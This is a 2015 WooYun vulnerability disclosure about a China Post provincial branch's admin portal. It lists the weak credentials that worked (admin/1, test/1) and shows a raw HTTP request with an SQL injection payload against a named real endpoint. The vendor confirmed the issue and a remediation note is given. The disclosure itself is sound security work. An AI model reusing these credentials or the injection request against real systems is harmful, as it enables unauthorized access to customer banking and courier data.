当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0131447

漏洞标题：中国邮政某省分行某弱口令进而实现SQL注入（泄漏邮政快递数据 用户余额/卡号/电话等资料等信息）

相关厂商：中国邮政储蓄银行

漏洞作者： 奥特曼

提交时间：2015-08-04 08:54

修复时间：2015-09-21 10:30

公开时间：2015-09-21 10:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-04： 细节已通知厂商并且等待厂商处理中
2015-08-07： 厂商已经确认，细节仅向厂商公开
2015-08-17： 细节向核心白帽子及相关领域专家公开
2015-08-27： 细节向普通白帽子公开
2015-09-06： 细节向实习白帽子公开
2015-09-21： 细节向公众公开

简要描述：

中国邮政某省分行某弱口令进而实现SQL注入（泄漏邮政快递数据 银行用户资料等信息）

详细说明：

http://www.hljpost.com/ycyhbosom/login/index.jsp
首先这个小后台 爆破几个用户密码
帐号admin 密码1 还有 test 密码1 ADMIN 密码1
权限的问题 进去什么敏感内容都没有，但是可以实现SQL注入

POST /ycyhbosom/financialBank/xxhjs.jsp HTTP/1.1
Host: www.hljpost.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.hljpost.com/ycyhbosom/financialBank/xxhjs.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Cookie: JSESSIONID=V2C6QysdvRH5jN09p0wP3NzLCLvRJbxvvLFqLTwTKJvnL2YnvynF!1756050392
year=2002'
HTTP/1.1 200 OK
Date: Mon, 03 Aug 2015 01:50:27 GMT
Content-Type: text/html; charset=gb2312
Connection: Close
Content-Length: 16333


这样所有敏感就出来了。
看图吧

QQ图片20150804011915.png


QQ图片20150804011921.jpg


都不往下继续了，问题很严重 第一时间提交出来，忘重视，多给点分

漏洞证明：

1.png

2.png

修复方案：

后台加验证机制 用户密码设困难点

版权声明：转载请注明来源 奥特曼@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-08-07 10:29

厂商回复：

多谢

最新状态：

暂无